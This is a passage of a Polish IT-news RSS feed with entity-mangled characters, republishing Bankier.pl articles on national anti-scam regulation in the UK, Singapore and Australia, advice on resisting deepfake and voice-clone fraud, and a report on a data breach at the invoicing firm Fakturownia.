Nadzand#243;r finansowy nie ma, jak wskazywano wand#243;wczas, moand#380;liwoand#347;ci bezpoand#347;redniego dziaand#322;ania. Platformy podlegajand#261; bowiem nadzorowi telekomunikacyjnemu (Ofcom). Z kolei Online Safety Act w czand#281;and#347;ci dotyczand#261;cej moand#380;liwoand#347;ci and#8222;zdejmowaniaand#8221; pand#322;atnych reklam wejdzie w and#380;ycie dopiero w 2027 r.










and#160;












Sytuacjand#281; ma zmieniand#263; przewidziana na lata 2026-2029 and#8222;UK Fraud Strategyand#8221;. To kompleksowa strategia przedstawiona przez brytyjski rzand#261;d, ktand#243;ra zakand#322;ada inwestycjand#281; ponad 250 milionand#243;w funtand#243;w w systemowe dziaand#322;ania oparte na trzech gand#322;and#243;wnych filarach: zakand#322;and#243;caniu dziaand#322;alnoand#347;ci przestand#281;pczej, ochronie spoand#322;eczeand#324;stwa oraz skutecznym reagowaniu na zgand#322;oszenia ofiar.
Idea leand#380;and#261;ca u podstaw strategii jest nastand#281;pujand#261;ca and#8211; fragmentaryczne dziaand#322;ania przynoszand#261; tylko tymczasowe, ograniczone rezultaty. Pokazuje to case schematu wymierzonego w oszustwa APP. Dobra strategia budowania cyberodpornoand#347;ci musi dotykaand#263; kaand#380;dego elementu uand#380;ywanego przez przestand#281;pcand#243;w. Dlatego dokument zakand#322;ada dziaand#322;ania np. zwiand#281;kszajand#261;ce poziom weryfikacji uand#380;ytkownikand#243;w telefonii komand#243;rkowej czy utrudniajand#261;ce tworzenie fasadowych spand#243;and#322;ek, ktand#243;re mogand#261; poand#347;redniczyand#263; w praniu pieniand#281;dzy z oszustw.
and#160;
Centrum Przestand#281;pczoand#347;ci Online and#8211; tu majand#261; and#322;and#261;czyand#263; siand#281; wszystkie nitki
Kluczowand#261; roland#281; w walce z oszustami ma odegraand#263; utworzone w kwietniu 2026 r. Online Crime Centre (OCC).and#160; Jego gand#322;and#243;wnym zadaniem jest przeand#322;amanie dotychczasowej fragmentacji danych oraz stworzenie wspand#243;lnej platformy operacyjnej dla sektora publicznego i prywatnego, aby wykrywaand#263; i powstrzymywaand#263; oszustwa internetowe na duand#380;and#261; skaland#281; w czasie rzeczywistym.
Liderem OCC jest Ministerstwo Spraw Wewnand#281;trznych (Home Office) oraz National Crime Agency (NCA) przy and#347;cisand#322;ej wspand#243;and#322;pracy z londyand#324;skand#261; policjand#261;. Podmiot gromadzi w jednym miejscu przedstawicieli policji, agencji wywiadowczych oraz partnerand#243;w prywatnych z sektorand#243;w finansowego, telekomunikacyjnego, technologicznego i cyberbezpieczeand#324;stwa. Szerokand#261; wymianand#281; informacji umoand#380;liwia ustawa Data Act, ktand#243;ra sankcjonuje zapobieganie przestand#281;pczoand#347;ci i oszustwom jako prawnand#261; podstawand#281; udostand#281;pniania danych pomiand#281;dzy sektorem publicznym a prywatnym.





Zadaniem OCC ma byand#263; przede wszystkim integracja i analiza danych. Za tym okreand#347;leniem kryje siand#281; and#322;and#261;czenie duand#380;ych wolumenand#243;w danych ze sand#322;uand#380;b i firm prywatnych, by band#322;yskawicznie identyfikowaand#263; zagroand#380;enia. Informacje o oszukaand#324;czych stronach, e-mailach czy numerach telefonand#243;w band#281;dand#261; wykorzystywane do natychmiastowego blokowania poand#322;and#261;czeand#324;, zamraand#380;ania kont bankowych, usuwania stron i blokowania kont w mediach spoand#322;ecznoand#347;ciowych. OCC wykorzysta takand#380;e dane z systemand#243;w umoand#380;liwiajand#261;cych zgand#322;aszanie zagroand#380;eand#324; przez uand#380;ytkownikand#243;w sieci.
OCC przypisano w strategii rand#243;wnieand#380; inne role. Aktywne ograniczanie szkand#243;d, czyli tworzenie rozwiand#261;zaand#324; technicznych pomagajand#261;cych branand#380;y usuwaand#263; luki w systemach na wczesnym etapie i and#160;paraliand#380;owaand#263; infrastrukturand#281; cyfrowand#261; uand#380;ywanej przez przestand#281;pcand#243;w. Dodatkiem ma byand#263; zadanie wsparcia w odzyskiwaniu skradzionych aktywand#243;w i ochrona ofiar przed ponownym oszustwem.
and#160;
Singapur postawiand#322; na kaskadand#281;. Oszuand#347;ci reagujand#261;
Pierwsze efekty zmian w podejand#347;ciu do oszustw internetowych widaand#263; takand#380;e w Singapurze. Przypomnijmy, and#380;e jest to kraj, w ktand#243;rym wprowadzono specyficzny model odpowiedzialnoand#347;ci finansowej za scamy, wand#322;and#261;czajand#261;cy zarand#243;wno banki, jak i operatorand#243;w telekomunikacyjnych i samych konsumentand#243;w. Schemat nazwany Shared Responsibility Framework (SRF) juand#380; samym szyldem zapowiada gand#322;and#243;wnand#261; ideand#281;.
SRF bazuje na kaskadowym modelu ponoszenia strat finansowych wynikajand#261;cych z oszustw, w ktand#243;rych przestand#281;pcy podszywajand#261; siand#281; pod instytucje lub bliskich ofiary. Przykand#322;adowo, jeand#347;li bank nie speand#322;ni chociaand#380; jednego z obowiand#261;zkand#243;w prewencyjnych, ponosi peand#322;nand#261; odpowiedzialnoand#347;and#263; za zwrot skradzionych and#347;rodkand#243;w. Jeand#347;li bank w peand#322;ni realizowaand#322; narzucone mu zadania, ale oszustwo zostaand#322;o przeprowadzone przez SMS, a operator telekomunikacyjny zaniedbaand#322; swoje wymogi, wand#243;wczas pokrywa on stratand#281; uand#380;ytkownika. Jeand#347;li zarand#243;wno bank, jak i operator telekomunikacyjny dopeand#322;nili wszystkich naand#322;oand#380;onych na nich obowiand#261;zkand#243;w, ciand#281;and#380;ar straty finansowej spoczywa na posiadaczu rachunku.





Z danych publikowanych przez singapurskand#261; policjand#281; wynika, and#380;e wprowadzenie SRF oraz towarzyszand#261;cych mu regulacji i zabezpieczeand#324; doprowadziand#322;o do wyraand#378;nego spadku ogand#243;lnej liczby oszustw i strat finansowych, ale jednoczeand#347;nie zmusiand#322;o przestand#281;pcand#243;w do zmiany taktyki i kanaand#322;and#243;w dotarcia do ofiar.
W 2025 roku liczba oszustw spadand#322;a o 27,6 proc. (do 37,3 tys. przypadkand#243;w z 51,5 tys. w 2024 r.), a straty finansowe zmniejszyand#322;y siand#281; o 17,9 proc. Pierwsza poand#322;owa 2026 roku przyniosand#322;a kolejne obiecujand#261;ce efekty. Liczba oszustw spadand#322;a o kolejne 14,4 proc. (do 16,8 tys. przypadkand#243;w), a straty finansowe o 17,9 proc. Mediana strat na jeden przypadek obniand#380;yand#322;a siand#281; do 1 350 SGD.
Poniewaand#380; wymogi SRF i bankowe zabezpieczenia utrudniand#322;y bezpoand#347;rednie przejmowanie kont i nieautoryzowane logowania, oszuand#347;ci zmodyfikowali swoje podejand#347;cie. Dominujand#261;cand#261; formand#261; wyand#322;udzeand#324; staand#322;y siand#281; transakcje zlecane przez samand#261; ofiarand#281;. To ponad 80 proc. oszustw (81,8 proc. w 2025 r. oraz 80,8 proc. w I poand#322;owie 2026 r.). Przestand#281;pcy skupiajand#261; siand#281; na manipulacji i socjotechnikach, by skand#322;oniand#263; uand#380;ytkownika do dobrowolnego przelewu. A transakcje te nie podlegajand#261; bezpoand#347;rednio kaskadowemu podziaand#322;owi strat finansowych pomiand#281;dzy banki a telekomy.
Z kolei dziand#281;ki naand#322;oand#380;onym na firmy telekomunikacyjne wymogom (m.in. blokowaniu nieautoryzowanych identyfikatorand#243;w nadawcy SMS, filtrowaniu zand#322;oand#347;liwych linkand#243;w URL oraz limitowi 10 kart SIM na osoband#281;), tradycyjne oszustwa SMS-owe oraz poand#322;and#261;czenia telefoniczne drastycznie spadand#322;y (np. liczba oszukaand#324;czych poand#322;and#261;czeand#324; telefonicznych spadand#322;a w 1 poand#322;owie 2026 r. o 49,1 proc.). Oszuand#347;ci przenieand#347;li dziaand#322;ania do mediand#243;w spoand#322;ecznoand#347;ciowych oraz komunikatorand#243;w, ktand#243;re odpowiadajand#261; obecnie za wiand#281;kszoand#347;and#263; pierwszych kontaktand#243;w z ofiarami.





Wreszcie ze wzgland#281;du na zaawansowany monitoring transakcji bankowych w czasie rzeczywistym i blokowanie podejrzanych przelewand#243;w, oszuand#347;ci zaczand#281;li instruowaand#263; ofiary, by wypand#322;acaand#322;y gotand#243;wkand#281; w bankomatach, kupowaand#322;y zand#322;oto lub luksusowe zegarki i przekazywaand#322;y je fizycznie poand#347;rednikom. Oszustwa staand#322;y siand#281; zatem mniej bezgotand#243;wkowe, a bardziej fizyczne.
and#160;
Australia tworzy moduand#322;owe rozwiand#261;zanie
Na miano holistycznego rozwiand#261;zania zasand#322;uguje bez wand#261;tpienia podejand#347;cie przyjand#281;te przez Australiand#281;. Skand#322;ada siand#281; ono z dwand#243;ch poziomand#243;w regulacji. Pierwszym sand#261; ogand#243;lne ramowe zasady obowiand#261;zujand#261;ce sektory finansowy, telekomunikacyjny i usand#322;ug cyfrowych. Wymagajand#261; one, by kaand#380;dy z podmiotand#243;w regulowanych wprowadziand#322; mechanizmy zarzand#261;dzania ryzykiem oszustw, zapobiegania scamom, zanim dotrand#261; do konsumentand#243;w i wykrywania trwajand#261;cych atakand#243;w oraz identyfikowania ofiar.
Obowiand#261;zkowym elementem jest takand#380;e zgand#322;aszanie i wymiana informacji organowi ochrony konkurencji i konsumentand#243;w (ACCC), ktand#243;ry peand#322;ni roland#281; huba udostand#281;pniajand#261;cego dane w caand#322;ym ekosystemie. ACCC realizuje to zadanie przede wszystkim za poand#347;rednictwem utworzonego w jego strukturach Krajowego Centrum Antyoszustwowego (NASC) oraz serwisu zgand#322;oszeniowego Scamwatch. NASC gromadzi i and#322;and#261;czy dane wywiadowcze z wielu and#378;rand#243;deand#322;, w tym zgand#322;oszeand#324; od konsumentand#243;w, raportand#243;w sektorowych , bazy cyberprzestand#281;pczoand#347;ci, wsparcia ofiar (IDCARE) oraz bezpoand#347;rednich informacji operacyjnych udostand#281;pnianych przez regulowane firmy.
Drugi poziom regulacji wprowadzony przez Scams Prevention Framework Act skand#322;ada siand#281; ze szczegand#243;and#322;owych wytycznych dla poszczegand#243;lnych sektorand#243;w, dostosowanych do ich specyfiki. Przykand#322;adowo dla bankand#243;w wymusza on stosowanie weryfikacji odbiorcand#243;w przelewand#243;w (co znamy w Europie pod nazwand#261; VOP) czy wysyand#322;anie w czasie rzeczywistym alertand#243;w o podejrzanej aktywnoand#347;ci. Platformy cyfrowe zostaand#322;y zmuszone m.in. do weryfikacji reklamodawcand#243;w z regulowanych sektorand#243;w. Niedopeand#322;nienie obowiand#261;zkand#243;w zagroand#380;one jest wysokimi karami finansowymi. Dodatkowym bodand#378;cem jest przerzucenie odpowiedzialnoand#347;ci cywilnej i odszkodowawczej na te podmioty, ktand#243;re nie dochowaand#322;y naleand#380;ytej starannoand#347;ci w zapobieganiu oszustwom. Jeand#347;li winnych jest kilku, podziaand#322; jest proporcjonalny.
Interesujand#261;cym elementem regulacji jest przyznanie ochrony prawnej przed odpowiedzialnoand#347;ciand#261; cywilnand#261; podmiotom reagujand#261;cym na prand#243;by oszustw. Ale tylko jeand#347;li w dobrej wierze podjand#281;and#322;y proporcjonalne dziaand#322;ania w celu zakand#322;and#243;cenia oszustwa lub wstrzymania transakcji podczas badania tzw. podejrzanych sygnaand#322;and#243;w (actionable scam intelligence). Pojand#281;cie to zdefiniowano na tyle szczegand#243;and#322;owo, by moand#380;liwe byand#322;o obiektywne okreand#347;lenie, co wchodzi w jego zakres. Sand#261; to m.in. sygnaand#322;y od samych klientand#243;w, czy identyfikatory i mechanizmy uand#380;ywane do oszustwa (np. adresy URL, adresy e-mail, numery telefonand#243;w, profile w mediach spoand#322;ecznoand#347;ciowych, portfele cyfrowe oraz dane kont bankowych oszustand#243;w).
Krand#243;tka historia dziaand#322;ania australijskich regulacji nie pozwala jeszcze odpowiedzieand#263; na pytanie o skutecznoand#347;and#263; wypracowanych rozwiand#261;zaand#324;. Kodeksy dla poszczegand#243;lnych sektorand#243;w wprowadzane sand#261; stopniowo. Statystyki wskazujand#261;, and#380;e skoordynowane dziaand#322;ania (w tym wczeand#347;niejsze uruchomienie Krajowego Centrum Antyoszustwowego NASC) przyniosand#322;y znaczand#261;ce ograniczenie zasiand#281;gu oszustw tradycyjnymi kanaand#322;ami (SMS, telefon). Przybywa natomiast wyand#322;udzeand#324; zwiand#261;zanych np. z kryptowalutami. Moduand#322;owa budowa australijskiego schematu pozwala jednak na poszerzanie jego zasiand#281;gu poprzez dodawanie kolejnych sektorand#243;w. Gieand#322;dy kryptowalut band#281;dand#261; kolejnand#261; grupand#261; podmiotand#243;w, dla ktand#243;rych powstanand#261; dedykowane zasady.
and#160;
Scam to nie and#8222;problem bankand#243;wand#8221;
W rozwiand#261;zaniach wprowadzanych w Wielkiej Brytanii, Australii i Singapurze widaand#263; wspand#243;lne wand#261;tki. Pierwszym jest zdecydowanie szeroko zdefiniowana grupa adresatand#243;w, ktand#243;rym narzuca siand#281; obowiand#261;zki zwiand#261;zane z przeciwdziaand#322;aniem oszustwom i reakcjand#261; na dziaand#322;ania przestand#281;pcand#243;w. Scam to nie tylko problem bankand#243;w, ktand#243;re majand#261; do czynienia z ostatnim etapem procederu. Swojand#261; roland#281; do odegrania majand#261; zarand#243;wno telekomy, jak i platformy cyfrowe, czy niebankowi dostawcy usand#322;ug finansowych.
Drugi wspand#243;lny element to wprowadzenie ekonomicznych bodand#378;cand#243;w do walki z oszustwami. Tu rozwiand#261;zania mogand#261; siand#281; mocno od siebie rand#243;and#380;niand#263;, co pokazuje chociaand#380;by przykand#322;ad Australii i Singapuru. W grand#281; wchodzand#261; zarand#243;wno odstraszajand#261;ce kary, jak i zdefiniowanie na nowo podziaand#322;u odpowiedzialnoand#347;ci wobec ofiar. Waand#380;nym dodatkiem do and#8222;kijaand#8221; moand#380;e byand#263; and#8222;marchewkaand#8221;, czyli np. objand#281;cie ochronand#261; tych podmiotand#243;w, ktand#243;re zareagowaand#322;y na zagroand#380;enie szybko i odpowiednio, nawet jeand#347;li nie udaand#322;o siand#281; zapobiec wymiernym stratom.
Wreszcie uwagand#281; zwraca nadanie kluczowego znaczenia wymianie informacji o zagroand#380;eniach. To pole, na ktand#243;rym wspand#243;and#322;pracowaand#263; muszand#261; zarand#243;wno podmioty z sektora publicznego, jak i prywatnego. Nie bez przyczyny w kaand#380;dym z wymienionych krajand#243;w wyznaczono instytucje, ktand#243;re koordynujand#261; dziaand#322;ania wymierzone w oszustwa i zbierajand#261;, a nastand#281;pnie rozprowadzajand#261; sygnaand#322;y o scamach.
Systemowe rozwiand#261;zanie w tej dziedzinie nigdy nie band#281;dzie skoand#324;czonym dzieand#322;em. Optymistyczne doniesienia o ograniczeniu zasiand#281;gu przestand#281;pstw zawsze pojawiajand#261; siand#281; w towarzystwie ostrzeand#380;eand#324; o zmianach w modi operandi oszustand#243;w. Wypada to uznaand#263; za pewnik. A dla planujand#261;cych mechanizmy chroniand#261;ce konsumentand#243;w i rynek oznacza to jedno and#8211; warto od poczand#261;tku zadbaand#263; o elastycznoand#347;and#263; schematu, bo do projektu trzeba band#281;dzie wracaand#263; jeszcze wiele razy.
and#160;
and#160;
and#378;rodand#322;oand#160; Bankier.pl and#160;30 wrzesieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Deepfake to już nie tylko problem celebrytów. Oszuści biorą na cel zwykłych Kowalskich ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1756</link>
			<description><![CDATA[ Coraz doskonalsze metody klonowania gand#322;osu, tworzenia deepfakeand#8217;and#243;w wideo oznaczajand#261; jedno and#8211; odrand#243;and#380;nienie prawdy od oszustwa stanie siand#281; wyzwaniem. Chociaand#380; w pierwszej kolejnoand#347;ci zaawansowane technologicznie przestand#281;pstwa wykorzystano do podszywania siand#281; pod celebrytand#243;w, to nastand#281;pni w kolejnoand#347;ci band#281;dziemy my, zwykli konsumenci.
and#160;




and#160;

/and#160;Gemini


and#160;
Jeszcze kilka lat temu narzand#281;dzia generatywnej sztucznej inteligencji ledwo radziand#322;y sobie z tworzeniem niskiej jakoand#347;ci obrazand#243;w. Zabawne ilustracje z nieco rozmytym Jand#243;zefem Piand#322;sudskim robiand#261;cym zakupy w supermarkecie to juand#380; jednak przeszand#322;oand#347;and#263;. Podrand#243;bki sand#261; dziand#347; niemal nie do odrand#243;and#380;nienia od oryginaand#322;and#243;w.
Na and#322;amach Bankier.pl pisaliand#347;my w tym miesiand#261;cu o nielicznych sygnaand#322;ach ostrzegawczych, ktand#243;re moand#380;na zidentyfikowaand#263; w wygenerowanych klipach wideo. Z biegiem czasu band#281;dziemy je spotykaand#263; coraz rzadziej, narzand#281;dzia AI zbliand#380;ajand#261; siand#281; do doskonaand#322;oand#347;ci. Ostrzegaliand#347;my takand#380;e przed moand#380;liwoand#347;ciami klonowania ludzkiego gand#322;osu. Takie technologie juand#380; trafiand#322;y do arsenaand#322;u przestand#281;pcand#243;w rozwijajand#261;cych stare schematy takie jak vishing czy wyand#322;udzenia and#8222;na wnuczkaand#8221;.
and#160;
Jest tylko kwestiand#261; czasu, kiedy dla oszustand#243;w opand#322;acalne band#281;dzie tworzenie indywidualnie dopasowanych and#8222;przynand#281;tand#8221; dla pojedynczych ofiar, niekoniecznie zamoand#380;nych i gwarantujand#261;cych wysoki zwrot z wyand#322;udzenia. Na celownik trafi takand#380;e przeciand#281;tny konsument, z kilkoma tysiand#261;cami zand#322;otych na koncie. Gdy zadzwoni do nas bliski, opisze dramatyczne okolicznoand#347;ci i poprosi o szybkand#261; poand#380;yczkand#281;, nie band#281;dzie czasu na szczegand#243;and#322;owand#261; analizand#281; audio czy branie pod lupand#281; pikseli w klipie wideo. Waand#380;niejsza od zmysand#322;u and#347;ledczego okaand#380;e siand#281; prewencja.
and#160;
Rafaand#322; Oleand#324;ski, dyrektor Biura Cyberbezpieczeand#324;stwa, Obszar Transformacji Cyfrowej i Informatyki ORLEN: O deepfakeand#8217;ach trzeba porozmawiaand#263; przy rodzinnym stole
Tradycyjne przekonanie and#8222;przecieand#380; rozpoznam gand#322;os i twarz bliskiej osobyand#8221; przestaje byand#263; wystarczajand#261;cym zabezpieczeniem. Warto przyjand#261;and#263; kilka prostych zasad, ktand#243;re, omand#243;wione wczeand#347;niej przy rodzinnym stole, pomogand#261; zwiand#281;kszyand#263; bezpieczeand#324;stwo nasze i naszych bliskich wobec nowych zagroand#380;eand#324; w cyberprzestrzeni.



1. Rodzinne hasand#322;o bezpieczeand#324;stwa (Safe Word)
Ustal z bliskimi jednand#261; krand#243;tkand#261; frazand#281; znanand#261; tylko Wam. Unikaj and#322;atwych do odgadniand#281;cia lub znalezienia w cyberprzestrzeni wyborand#243;w, np. imienia psa, daty urodzenia, ulubionej druand#380;yny czy nazwy rodzinnej miejscowoand#347;ci. Jeand#347;li ktoand#347; dzwoni z informacjand#261; typu and#8222;miaand#322;em wypadek, potrzebujand#281; pieniand#281;dzyand#8221;, poproand#347; o podanie hasand#322;a. Jeand#380;eli rozmand#243;wca nie potrafi odpowiedzieand#263;, tand#322;umaczand#261;c siand#281; np. stresem, naleand#380;y natychmiast przerwaand#263; poand#322;and#261;czenie.
2. Zasada: rozand#322;and#261;cz siand#281; i oddzwoand#324;
Zand#322;oty standard weryfikacji nawet po podaniu hasand#322;a: oszuand#347;ci wywierajand#261; ogromnand#261; presjand#281; czasu Na przykand#322;ad: and#8222;Musisz wpand#322;aciand#263; kaucjand#281; juand#380; teraz, bo zamknand#261; mnie w areszcie.and#8221;. Niezaleand#380;nie od tego, jak dramatyczna jest sytuacja, moand#380;esz powiedzieand#263;: and#8222;Dobrze, daj mi chwiland#281;. Odzwoniand#281; do Ciebie.and#8221;. Nastand#281;pnie naleand#380;y wybraand#263; numer danej osoby z wand#322;asnej listy kontaktand#243;w and#8211; nie oddzwaniaj na numer, z ktand#243;rego przyszand#322;o poand#322;and#261;czenie.
3. Pytania weryfikacyjne (plan awaryjny and#8211; tylko w wyjand#261;tkowych okolicznoand#347;ciach)
Moand#380;ecie ustaliand#263; 2-3 dodatkowe pytania dotyczand#261;ce wspand#243;lnych doand#347;wiadczeand#324;, na ktand#243;re odpowiedzi nie sand#261; powszechnie dostand#281;pne w mediach spoand#322;ecznoand#347;ciowych. To band#281;dzie dodatkowa weryfikacja, a nie jedyne zabezpieczenie.
4. Ograniczenie and#8222;karmieniaand#8221; sztucznej inteligencji
Ustaw bardziej restrykcyjne opcje prywatnoand#347;ci swoich kont w mediach spoand#322;ecznoand#347;ciowych. Ogranicz dostand#281;p dla and#8222;osand#243;b z zewnand#261;trzand#8221;, obcych, spoza Twojego krand#281;gu znajomych. Pamiand#281;taj, and#380;e oszustom wystarczy zaledwie kilka sekund czystego nagrania gand#322;osu z filmiku, np. na TikToku, aby stworzyand#263; jego przekonujand#261;cy klon. Ograniczenie liczby publicznych nagraand#324; audio i wideo zmniejsza ryzyko wykorzystania ich przez cyberprzestand#281;pcand#243;w. Warto rand#243;wnieand#380; pomand#243;c bliskim, ktand#243;rzy nie czujand#261; siand#281; pewnie w ustawieniach prywatnoand#347;ci i odpowiednio zabezpieczyand#263; ich konta.
and#8211; Technologia AI band#281;dzie coraz lepsza. Dlatego nie skupiajmy siand#281; na rozpoznawaniu deepfake'and#243;w. Znacznie skuteczniejsze jest ustalenie w rodzinie prostych zasad weryfikacji, ktand#243;re dziaand#322;ajand#261; nawet wtedy, gdy podrand#243;bka wygland#261;da perfekcyjnie and#8211; podkreand#347;la ekspert.
and#160;
Paulina Krakowska and#8211; ekspertka ds. cyberbezpieczeand#324;stwa w PKO Banku Polskim: Znany gand#322;os, znajoma twarz iand#8230; oszustwo. Zanim uwierzysz, zatrzymaj siand#281;, sprawdand#378;, pomoand#380;eand#160; teand#380; rodzinne hasand#322;o bezpieczeand#324;stwa
Samo zetkniand#281;cie siand#281; z wygenerowanym przez AI nagraniem wideo lub audio nie oznacza jeszcze zagroand#380;enia. Kluczowe jest to do czego deepfake sand#322;uand#380;y. Mniejszy problem jeand#347;li band#281;dand#261; to treand#347;ci rozrywkowe. Gorzej jeand#347;li band#281;dzie to narzand#281;dzie cyberprzestand#281;pcand#243;w, ktand#243;rzy chcand#261; namand#243;wiand#263; do przekazania pieniand#281;dzy, danych albo dokonania faand#322;szywej and#8222;atrakcyjnejand#8221; inwestycji.and#160;
Najbardziej widoczne i czand#281;ste sand#261; obecnie wand#322;aand#347;nie faand#322;szywe reklamy inwestycyjne, wykorzystujand#261;ce deepfake. Przestand#281;pcy bezprawnie uand#380;ywajand#261; wizerunki i gand#322;osy znanych osand#243;b (celebrytand#243;w, przedsiand#281;biorcand#243;w, politykand#243;w), aby uwiarygodniand#263; fikcyjnand#261; ofertand#281;. Nagranie moand#380;e przypominaand#263; fragment programu informacyjnego, wywiadu czy publikacji w mediach spoand#322;ecznoand#347;ciowych. Jego zadaniem jest wzbudzenie zaufania i zachand#281;cenie odbiorcy do and#8222;zainwestowaniaand#8221; pieniand#281;dzy.
Narzand#281;dzia AI pozwalajand#261; teraz tworzyand#263; bardzo realistyczne treand#347;ci, dlatego nieaktualne sand#261; porady sugerujand#261;ce, and#380;e deepfake zawsze moand#380;na rozpoznaand#263; po band#322;and#281;dach w mimice, ruchu ust czy brzmieniu gand#322;osu. Zamiast skupiaand#263; siand#281; na technicznych szczegand#243;and#322;ach, warto zwracaand#263; uwagand#281; na and#378;rand#243;dand#322;o i kontekst publikacji. Jeand#347;li widzimy nietypowand#261; wypowiedand#378; znanej osoby, dobrze jest sprawdziand#263; profil, ktand#243;ry jand#261; opublikowaand#322; oraz czy tand#281; samand#261; informacjand#281; moand#380;na znaleand#378;and#263; w oficjalnych kanaand#322;ach tej osoby.
Trzeba teand#380; krytycznie spojrzeand#263; na treand#347;and#263; przekazu. Obietnice szybkich i wysokich zyskand#243;w, and#8222;niezwykand#322;ej okazjiand#8221; czy and#8222;ostatniej chwiliand#8221; na zainwestowanie przy jednoczesnym pomijaniu informacji o ryzyku powinny wzbudziand#263; szczegand#243;lnand#261; ostroand#380;noand#347;and#263;.
Osobnand#261; kategoriand#261; sand#261; spersonalizowane oszustwa wykorzystujand#261;ce klonowanie gand#322;osu i zmanipulowane nagrania wideo. Przestand#281;pcy mogand#261; podszywaand#263; siand#281; pod czand#322;onka rodziny i pod pretekstem nagand#322;ego wypadku czy problemand#243;w finansowych prosiand#263; o pilnand#261; pomoc. W takich sytuacjach nie naleand#380;y automatycznie ufaand#263; rozmand#243;wcy tylko dlatego, and#380;e sand#322;yszymy znajomy gand#322;os and#8211; rozand#322;and#261;czyand#263; siand#281; i skontaktowaand#263; siand#281; z tand#261; bliskand#261; osoband#261;.
Sprawdza siand#281; tu proste rozwiand#261;zanie - rodzinne hasand#322;o bezpieczeand#324;stwa, czyli wczeand#347;niej ustalone sand#322;owo lub krand#243;tki zwrot znany wyand#322;and#261;cznie najbliand#380;szym. Taka forma potwierdzenia toand#380;samoand#347;ci moand#380;e okazaand#263; siand#281; szczegand#243;lnie cenna wtedy, gdy emocje utrudniajand#261; spokojnand#261; ocenand#281; sytuacji.
O bezpieczeand#324;stwie nadal w duand#380;ej mierze decydujand#261; proste nawyki: krytyczne myand#347;lenie, odpornoand#347;and#263; na socjotechniczne manipulacje i spokojna weryfikacja informacji. Jeand#347;li pojawiajand#261; siand#281; wand#261;tpliwoand#347;ci, najlepiej zwolniand#263;, skonsultowaand#263; je z bliskimi i dopiero wtedy podjand#261;and#263; decyzjand#281;.
Bardzo waand#380;ne sand#261; teand#380; kampanie edukacyjne, wand#322;aand#347;nie takie jak and#8222;Scamming Out!and#8221; czy przeprowadzona przez PKO Bank Polski and#8222;Rekand#322;amy and#8211; reklamy, ktand#243;re kand#322;amiand#261;and#8221;, ktand#243;re pokazujand#261; mechanizmy manipulacji, uand#380;ywane przez cyberprzestand#281;pcand#243;w i jak siand#281; przed nimi chroniand#263;. Im wiand#281;cej takiej wiedzy dociera do odbiorcand#243;w, tym wiand#281;ksze szanse, and#380;e w krytycznym momencie obroniand#261; siand#281; przez oszustami.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl 30 wrzesieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na systemy Fakturowni. Wyciekły hasła, numery rachunków i starsze faktury. Co z KSeF? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1755</link>
			<description><![CDATA[ Firma Fakturowania, dostarczajand#261;ca systemy ksiand#281;gowe, padand#322;a ofiarand#261; cyberataku - napisaand#322; we wtorek w serwisie X wicepremier i minister cyfryzacji Krzysztof Gawkowski. Firma poinformowaand#322;a, and#380;e doszand#322;o do wycieku danych, ale nie objand#261;and#322; on danych zintegrowanych z KSeF ani informacji o kartach pand#322;atniczych.
and#160;




and#160;

fot. Mateusz Kotowicz / /and#160;ArtService  


and#160;
Jak wskazaand#322; Gawkowski, incydent zostaand#322; zgand#322;oszony do CERT Polska, sand#322;uand#380;by intensywnie pracujand#261; nad ustaleniem dokand#322;adnych okolicznoand#347;ci zdarzenia.
and#8222;Fakturowania podjand#281;and#322;a dziaand#322;ania w ramach wspand#243;and#322;pracy z odpowiednimi instytucjami paand#324;stwa. (...) Sprawcy sand#261; and#347;cigani i poniosand#261; surowe konsekwencje" - napisaand#322; wicepremier.





and#160;



Jakie dane ukradli hakerzy z systemand#243;w Fakturowni?
Incydent zostaand#322; wykryty przez firmand#281; w poniedziaand#322;ek, o czym poinformowaand#322;a ona we wtorek w komunikacie na swojej stronie internetowej. Osoba nieuprawniona zdoand#322;aand#322;a wykorzystaand#263; lukand#281; w systemie Fakturowni, czego skutkiem byand#322; nieautoryzowany dostand#281;p do czand#281;and#347;ci danych - podali przedstawiciele firmy.
and#160;
Wskazali, and#380;e nieuprawniony dostand#281;p mand#243;gand#322; obejmowaand#263;:


dane kont wszystkich uand#380;ytkownikand#243;w i ich kontrahentand#243;w,
faktur wystawionych w systemie przed 2023 rokiem.
dane kont firm i uand#380;ytkownikand#243;w,
skrand#243;ty haseand#322;,
rachunki bankowe,
dane o pand#322;atnoand#347;ciach,
klucze i hasand#322;a systemowe aplikacji.

Jak podkreand#347;liand#322;a firma, nie doszand#322;o do and#380;adnego naruszenia w zakresie integracji z KSeF, ani innych integracji z Fakturowniand#261;. Bezpieczne pozostaand#322;y teand#380; danych kart pand#322;atniczych - podkreand#347;lono. Dodano, and#380;e wyciek nie objand#261;and#322; faktur wystawionych po 2023 roku.
Nie doszand#322;o teand#380; do usuniand#281;cia danych przechowywanych w systemach Fakturowni - zadeklarowaand#322;a firma.

Wyciek danych nie objand#261;and#322; KSeF

Jak podkreand#347;lili przedstawiciele firmy, nie doszand#322;o do and#380;adnego naruszenia w zakresie integracji z KSeF, co potwierdziand#322;o rand#243;wnieand#380; Ministerstwo Finansand#243;w (MF).
and#8222;W zwiand#261;zku z informacjami o wycieku danych z firmy and#187;Fakturownia.pland#171; informujemy, and#380;e zdarzenie to nie dotyczy danych zawartych w Krajowym Systemie e-Faktur. Na podstawie przeprowadzonej weryfikacji nie stwierdzono naruszenia zasad bezpieczeand#324;stwa systemu ani wycieku danych pozostajand#261;cych w naszym posiadaniuand#187; - poinformowaand#322; resort w komunikacie. Podkreand#347;liand#322;, and#380;e KSeF jest stale nadzorowany, a specjaliand#347;ci na bieand#380;and#261;co analizujand#261; wszystkie moand#380;liwe zagroand#380;enia bezpieczeand#324;stwa systemu.
and#160;
Zmieand#324; hasand#322;o i uwaand#380;aj na numery kont


and#8222;Wspand#243;lnie z CERT Polska i Centralnym Biurem Zwalczania Cyberprzestand#281;pczoand#347;ci (CBZC) wciand#261;and#380; ustalamy, ktand#243;rych klientand#243;w dotyczy wyciek. Kaand#380;dego z nich powiadomimy bezpoand#347;rednio w najbliand#380;szym czasie" - poinformowali przedstawiciele Fakturowni. Dodali, and#380;e incydent zostaand#322; rand#243;wnieand#380; zgand#322;oszony do Prezesa Urzand#281;du Ochrony Danych Osobowych.
